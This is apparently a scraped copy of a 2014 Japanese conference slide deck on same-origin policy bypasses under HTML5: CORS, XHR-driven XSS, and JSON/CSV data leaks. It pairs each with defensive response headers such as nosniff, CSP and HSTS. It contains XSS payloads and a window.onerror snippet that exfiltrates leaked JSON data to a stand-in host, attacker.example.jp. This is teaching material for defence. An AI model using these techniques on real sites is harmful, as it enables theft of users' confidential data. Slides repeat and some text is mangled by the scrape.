Bypass SOP in a time of HTML 5

  • Slides: 62
Download presentation
Bypass SOP in a time of HTML 5 Jan 29 2014 Yosuke HASEGAWA #html

Bypass SOP in a time of HTML 5 Jan 29 2014 Yosuke HASEGAWA #html 5 j

HTML 5 調査報告 from JPCERT/CC 第 44回HTML 5とか勉強会 #html 5 j

HTML 5 調査報告 from JPCERT/CC 第 44回HTML 5とか勉強会 #html 5 j

オリジンとは v. RFC 6454 The Web Origin. Concept vスキーム + ホスト + ポート http:

オリジンとは v. RFC 6454 The Web Origin. Concept vスキーム + ホスト + ポート http: //example. jp/image. png http: //example. jp: 8080/index. html vデフォルトのポートは省略 v正規化された表現 http: //example. jp: 8080 第 44回HTML 5とか勉強会 #html 5 j

Cross-Origin Resource Sharing v. CORS - Cross-Origin Resource Sharing vオリジンを超えてリソースを共有するための統一的 なルール v. Cross-Origin Resource.

Cross-Origin Resource Sharing v. CORS - Cross-Origin Resource Sharing vオリジンを超えてリソースを共有するための統一的 なルール v. Cross-Origin Resource. Sharing http: //www. w 3. org/TR/cors/ v. HTTP access control (CORS) |MDN https: //developer. mozilla. org/ja/docs/HTTP_access_control v. XHR、img+Canvas、Web Fontsなど 第 44回HTML 5とか勉強会 #html 5 j

XHR with CORS // http: //base. example. jp/ var xhr = new XMLHttp. Request();

XHR with CORS // http: //base. example. jp/ var xhr = new XMLHttp. Request(); xhr. open( "GET", "http: //another. example. jp/", true ); xhr. onreadystatechange = function(){. . . }; xhr. send( null ); GET / HTTP/1. 1 Host: another. example. jp User-Agent: Mozilla/5. 0 (Windows NT 6. 1). . . Origin: http: //base. example. jp HTTP/1. 1 200 OK Date: Tue, 28 Feb 2013 12: 34: 56 GMT Access-Control-Allow-Origin: http: //base. example. jp Content-Type: text/html; charset=utf-8. . . 第 44回HTML 5とか勉強会 #html 5 j

XHR with CORS // http: //base. example. jp/ var xhr = new XMLHttp. Request();

XHR with CORS // http: //base. example. jp/ var xhr = new XMLHttp. Request(); xhr. open( "GET", "http: //another. example. jp/", true ); xhr. with. Credentials = true; xhr. onreadystatechange = function(){. . . }; xhr. send( null ); GET / HTTP/1. 1 Host: another. example. jp User-Agent: Mozilla/5. 0 (Windows NT 6. 1). . . Cookie: sessionid=135 A 2387 BC 12 EE 0 F Origin: http: //base. example. jp HTTP/1. 1 200 OK Date: Tue, 28 Feb 2013 12: 34: 56 GMT Access-Control-Allow-Origin: http: //base. example. jp Access-Control-Allow-Credentials: true Content-Type: text/html; charset=utf-8. . . 第 44回HTML 5とか勉強会 #html 5 j

Images with CORS // http: //base. example. jp/ <img src="http: //another. example. jp/html 5.

Images with CORS // http: //base. example. jp/ <img src="http: //another. example. jp/html 5. png" crossorigin="anonymous"> GET /takahiro. jpg HTTP/1. 1 Host: another. example. jp User-Agent: Mozilla/5. 0 (Windows NT 6. 1). . . Origin: http: //base. example. jp HTTP/1. 1 200 OK Date: Tue, 28 Feb 2013 12: 34: 56 GMT Access-Control-Allow-Origin: http: //base. example. jp Content-Type: image/jpeg. . . Originがつき、Cookieは送信されない Canvas経由で読み取り可能になる 第 44回HTML 5とか勉強会 #html 5 j

Images with CORS // http: //base. example. jp/ <img src="http: //another. example. jp/html 5.

Images with CORS // http: //base. example. jp/ <img src="http: //another. example. jp/html 5. png" crossorigin="use-credentials"> GET /takahiro. jpg HTTP/1. 1 Host: another. example. jp User-Agent: Mozilla/5. 0 (Windows NT 6. 1). . . Cookie: sessionid=135 A 2387 BC 12 EE 0 F Origin: http: //base. example. jp HTTP/1. 1 200 OK Date: Tue, 28 Feb 2013 12: 34: 56 GMT Access-Control-Allow-Origin: http: //base. example. jp Access-Control-Allow-Credentials: true Content-Type: image/jpeg. . . Canvas経由で読み取り可能になる 第 44回HTML 5とか勉強会 #html 5 j

Access-Control-Allow-Origin v. Access-Control-Allow-Origin: * v誰からでも読み取り可能 HTTP/1. 1 200 OK Date: Tue, 28 Feb 2013

Access-Control-Allow-Origin v. Access-Control-Allow-Origin: * v誰からでも読み取り可能 HTTP/1. 1 200 OK Date: Tue, 28 Feb 2013 12: 34: 56 GMT Access-Control-Allow-Origin: * Content-Type: text/html. . . v機密情報を含むコンテンツの場合、罠ページ からも読み取られれてしまう! 第 44回HTML 5とか勉強会 #html 5 j

XMLHttp. Request

XMLHttp. Request

XHR: 意図せずクロスオリジン通信 →XSS v. XHR Lv. 2で脆弱になった vクロスオリジン通信できない間は安全だった // http: //example. jp/#/news var url

XHR: 意図せずクロスオリジン通信 →XSS v. XHR Lv. 2で脆弱になった vクロスオリジン通信できない間は安全だった // http: //example. jp/#/news var url = decode. URIComponent( location. hash. substring(1) ); var xhr = new XMLHttp. Request(); xhr. open( "GET", url, true ); xhr. onreadystatechange = function(){ if( xhr. ready. State == 4 && xhr. status == 200 ){ div. inner. HTML = xhr. response. Text; } } 第 44回HTML 5とか勉強会 #html 5 j

XHR: 意図せずクロスオリジン通信 →XSS v対策 v相手先を固定リストで事前に保持 // http: //example. jp/#/news var page = decode. URIComponent(

XHR: 意図せずクロスオリジン通信 →XSS v対策 v相手先を固定リストで事前に保持 // http: //example. jp/#/news var page = decode. URIComponent( location. hash. substring(1) ); var pages = { "/news": "/news", "/comment": "/comment"}; var url = pages[ page ] || "/"; //undefinedのときは/を取得 var xhr = new XMLHttp. Request(); xhr. open( "GET", url, true ); xhr. onreadystatechange = function(){ if( xhr. ready. State == 4 && xhr. status == 200 ){ div. inner. HTML = xhr. response. Text; } } 第 44回HTML 5とか勉強会 #html 5 j

XHR: 意図せずクロスオリジン通信 →データ漏えい vサーバ側で意図していないクロスオリジ ン通信 vリクエストヘッダの Origin: で送信元を確認 GET /resource HTTP/1. 1 Host: example.

XHR: 意図せずクロスオリジン通信 →データ漏えい vサーバ側で意図していないクロスオリジ ン通信 vリクエストヘッダの Origin: で送信元を確認 GET /resource HTTP/1. 1 Host: example. jp Origin: http: //example. jp この実装例は 安全?脆弱? HTTP/1. 1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: htp: //example. jp これはexample. jpだけが読むことを許された機密情報です。 GET /resource HTTP/1. 1 Host: example. jp Origin: http: //another. example. jp HTTP/1. 1 403 Forbidden 第 44回HTML 5とか勉強会 #html 5 j

XHR: 意図せずクロスオリジン通信 →データ漏えい v通常通りCookieを使って認証 xhr. with. Credentials = true; // Cookie付きでクロスオリジンリクエストを発行 GET /rsource HTTP/1.

XHR: 意図せずクロスオリジン通信 →データ漏えい v通常通りCookieを使って認証 xhr. with. Credentials = true; // Cookie付きでクロスオリジンリクエストを発行 GET /rsource HTTP/1. 1 Host: example. jp Origin: http: //example. jp Cookie: sessionid=A 1 E 223 ED HTTP/1. 1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: http: //example. jp Access-Control-Allow-Credentials: true これはexample. jpだけが読むことを許された機密情報です。 第 44回HTML 5とか勉強会 #html 5 j

XMLHttp. Request (3)Ajaxデータを使った XSS

XMLHttp. Request (3)Ajaxデータを使った XSS

XHR: Ajaxデータを使った XSS v. IE must die HTTP/1. 1 200 OK Content-Type: application/json; charset=utf-8

XHR: Ajaxデータを使った XSS v. IE must die HTTP/1. 1 200 OK Content-Type: application/json; charset=utf-8 { "msg" : "<script>alert(1)</script>" } 第 44回HTML 5とか勉強会 #html 5 j

XHR: Ajaxデータを使った XSS v. JSONならエスケープできなくはないけ ど HTTP/1. 1 200 OK Content-Type: application/json; charset=utf-8 {

XHR: Ajaxデータを使った XSS v. JSONならエスケープできなくはないけ ど HTTP/1. 1 200 OK Content-Type: application/json; charset=utf-8 { "msg" : "u 003 cscriptu 003 ealert(1)u 003 c/scriptu 003 e" } vtext/plainとかtext/csvとかエスケープでき ない 第 44回HTML 5とか勉強会 #html 5 j

XHR: Ajaxデータを使った XSS v対策 v. X-Content-Type-Options を付ける HTTP/1. 1 200 OK Content-Type: application/json; charset=utf-8

XHR: Ajaxデータを使った XSS v対策 v. X-Content-Type-Options を付ける HTTP/1. 1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff { "msg" : "<script>alert(1)</script>" } v非HTMLがHTML扱いされることがなくなる 第 44回HTML 5とか勉強会 #html 5 j

XHR: Ajaxデータ内の機密情報漏えい v. Java. ScriptやVBScriptとして解釈可能な Ajaxデータが狙われやすい //罠ページ内でscriptソースとして読み込む <script src="http: //example. jp/target. json"></script> <script src="http:

XHR: Ajaxデータ内の機密情報漏えい v. Java. ScriptやVBScriptとして解釈可能な Ajaxデータが狙われやすい //罠ページ内でscriptソースとして読み込む <script src="http: //example. jp/target. json"></script> <script src="http: //example. jp/target. csv"></script> JSON {"from" : "[email protected] com"} 第 44回HTML 5とか勉強会 #html 5 j

XHR: Ajaxデータ内の機密情報漏えい v. JSON配列をVBScriptとして読み込み vエラーメッセージに配列の内容が含まれる →window. onerrorで捕捉 <script> window. onerror = function( e ){

XHR: Ajaxデータ内の機密情報漏えい v. JSON配列をVBScriptとして読み込み vエラーメッセージに配列の内容が含まれる →window. onerrorで捕捉 <script> window. onerror = function( e ){ document. get. Element. By. Id( "img" ). set. Attribute( "src", "http: //attacker. example. jp/log? " + e ); } </script> <script src="http: //example. jp/target. json" language="vbscript"></script> GET http: //attacker. example. jp/log? 型が一致しません。: %20' %20"secret", %20"message", %20"is", %20"here"%20' HTTP/1. 1 Referer: http: //example. jp/ User-Agent: Mozilla/5. 0 (compatible; MSIE 10. 0; Windows NT 6. 1; WOW 64; Trident/6. 0) 第 44回HTML 5とか勉強会 #html 5 j

XHR: Ajaxデータ内の機密情報漏えい v対策 v. X-Content-Type-Options を付ける HTTP/1. 1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options:

XHR: Ajaxデータ内の機密情報漏えい v対策 v. X-Content-Type-Options を付ける HTTP/1. 1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff [ "secret", "message", "is", "here" ] 第 44回HTML 5とか勉強会 #html 5 j

セキュリティ関係のレスポンスヘッ ダ v使いこなすことでよりセキュアに v. X-XSS-Protection v. X-Content-Type-Options v. X-Frame-Options v. Content-Security-Policy v. X-Download-Options v.

セキュリティ関係のレスポンスヘッ ダ v使いこなすことでよりセキュアに v. X-XSS-Protection v. X-Content-Type-Options v. X-Frame-Options v. Content-Security-Policy v. X-Download-Options v. Strict-Transport-Security 第 44回HTML 5とか勉強会 #html 5 j

X-Content-Type-Options v. Content-Typeを厳格に扱う v非HTMLをHTML扱いしない JSONやCSVによるXSSの防止 Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff { "message", "<script>alert(1)</script>" }

X-Content-Type-Options v. Content-Typeを厳格に扱う v非HTMLをHTML扱いしない JSONやCSVによるXSSの防止 Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff { "message", "<script>alert(1)</script>" } v非JSを<script src>として読み込まない script src経由での情報漏えい防止 Firefox、Chromeなどでも。 Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff [ "secret", "message", "is", "here" ] 第 44回HTML 5とか勉強会 #html 5 j

" }", "description": "X-Content-Type-Options v. Content-Typeを厳格に扱う v非HTMLをHTML扱いしない JSONやCSVによるXSSの防止 Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff { "message", "" }", "width": "540" }
X-Content-Type-Options v副作用はほとんどないので、全コンテン ツにつけるべき v稀有な副作用例 :JSONP/JSONで共通処理 Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff { "message", "<script>alert(1)</script>" }

X-Content-Type-Options v副作用はほとんどないので、全コンテン ツにつけるべき v稀有な副作用例 :JSONP/JSONで共通処理 Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff { "message", "<script>alert(1)</script>" } Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff callback( { "message", "<script>alert(1)</script>" } ) <script src="api/jsonp? cb=callback"></script> …失敗する 第 44回HTML 5とか勉強会 #html 5 j

" }", "description": "X-Content-Type-Options v副作用はほとんどないので、全コンテン ツにつけるべき v稀有な副作用例 :JSONP/JSONで共通処理 Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff { "message", "" }", "width": "540" }

X-Frame-Options v. ALLOW-FROMの複数オリジン対応 v呼出し元オリジンごとに識別子を URLに付与 // http: //parent. example. jp/上 <iframe src="http: //child. example.

X-Frame-Options v. ALLOW-FROMの複数オリジン対応 v呼出し元オリジンごとに識別子を URLに付与 // http: //parent. example. jp/上 <iframe src="http: //child. example. jp/? from=p 1"></iframe> # child. example. jp/ my $allows = { p 1 => 'http: //parent. example. jp' }; my $from = $allows->{ $params->{from} }; if( $from ){ print "X-Frame-Options: ALLOW-FROM $fromn"; }else{ print "X-Frame-Options: DENYn"; } 第 44回HTML 5とか勉強会 #html 5 j

Content-Security-Policy vヘッダで指定されたソースからしか画像 やJSを読み込めなくする HTTP/1. 1 200 OK Content-Security-Policy: default-src 'self'; image-src *; Content-Type: text/html;

Content-Security-Policy vヘッダで指定されたソースからしか画像 やJSを読み込めなくする HTTP/1. 1 200 OK Content-Security-Policy: default-src 'self'; image-src *; Content-Type: text/html; charset=utf-8 v. Chrome拡張やFirefox. OSアプリの開発時に イラッとするアレ v使いこなせば XSSも怖くないけれど、実際の 運用は超たいへん 第 44回HTML 5とか勉強会 #html 5 j

X-Download-Options v. IE 8以降でダウンロード時に「開く」ボ タンを非表示 HTTP/1. 1 200 OK Content-Disposition: attachment; filename="index. html" X-Download-Options:

X-Download-Options v. IE 8以降でダウンロード時に「開く」ボ タンを非表示 HTTP/1. 1 200 OK Content-Disposition: attachment; filename="index. html" X-Download-Options: noopen <html><script>. . . X-Download-Options なし 第 44回HTML 5とか勉強会 X-Download-Options あり #html 5 j

Strict-Transport-Security v. HTTPSを強制するための指令 HTTP/1. 1 200 OK Strict-Transport-Security: max-age=15768000; include. Subdomains vこれ以降の HTTPへのアクセスは HTTPSに置

Strict-Transport-Security v. HTTPSを強制するための指令 HTTP/1. 1 200 OK Strict-Transport-Security: max-age=15768000; include. Subdomains vこれ以降の HTTPへのアクセスは HTTPSに置 き換わる vmax-age は有効期間を秒数で指定 vinclude. Sub. Domains が指定されるとサブド メインも対象 第 44回HTML 5とか勉強会 #html 5 j

Strict-Transport-Security v. HTTPSサイトのみが Strict-Transport. Securityヘッダを返す HTTP/1. 1 200 OK Strict-Transport-Security: max-age=15768000 v. HTTPはすでに汚染されているかもしれない ので

Strict-Transport-Security v. HTTPSサイトのみが Strict-Transport. Securityヘッダを返す HTTP/1. 1 200 OK Strict-Transport-Security: max-age=15768000 v. HTTPはすでに汚染されているかもしれない ので v. Firefox、Chromeなどは常に HTTPSで通信 する "preload HSTS"のリストを持ってい る 第 44回HTML 5とか勉強会 #html 5 j

Strict-Transport-Security v. Preload HSTS list v. Firefox、Chromeは常にHTTPSで通信する サイトのリストを持っている v申請すれば掲載してもらえる (常時SSL化!) vcybozu. com を真に常時 SSL

Strict-Transport-Security v. Preload HSTS list v. Firefox、Chromeは常にHTTPSで通信する サイトのリストを持っている v申請すれば掲載してもらえる (常時SSL化!) vcybozu. com を真に常時 SSL にする話 | Cybozu Inside Out |サイボウズエンジニ アのブログ http: //developer. cybozu. co. jp/tech/? p=6096 第 44回HTML 5とか勉強会 #html 5 j

Question? 質問 hasegawa@utf-8. jp hasegawa@netagent. co. jp @hasegawayosuke http: //utf-8. jp/ 第 44回HTML 5とか勉強会

Question? 質問 [email protected] jp [email protected] co. jp @hasegawayosuke http: //utf-8. jp/ 第 44回HTML 5とか勉強会 #html 5 j

提供 OWASP Japan OWASP App. Sec APAC 2014 Code Blue

提供 OWASP Japan OWASP App. Sec APAC 2014 Code Blue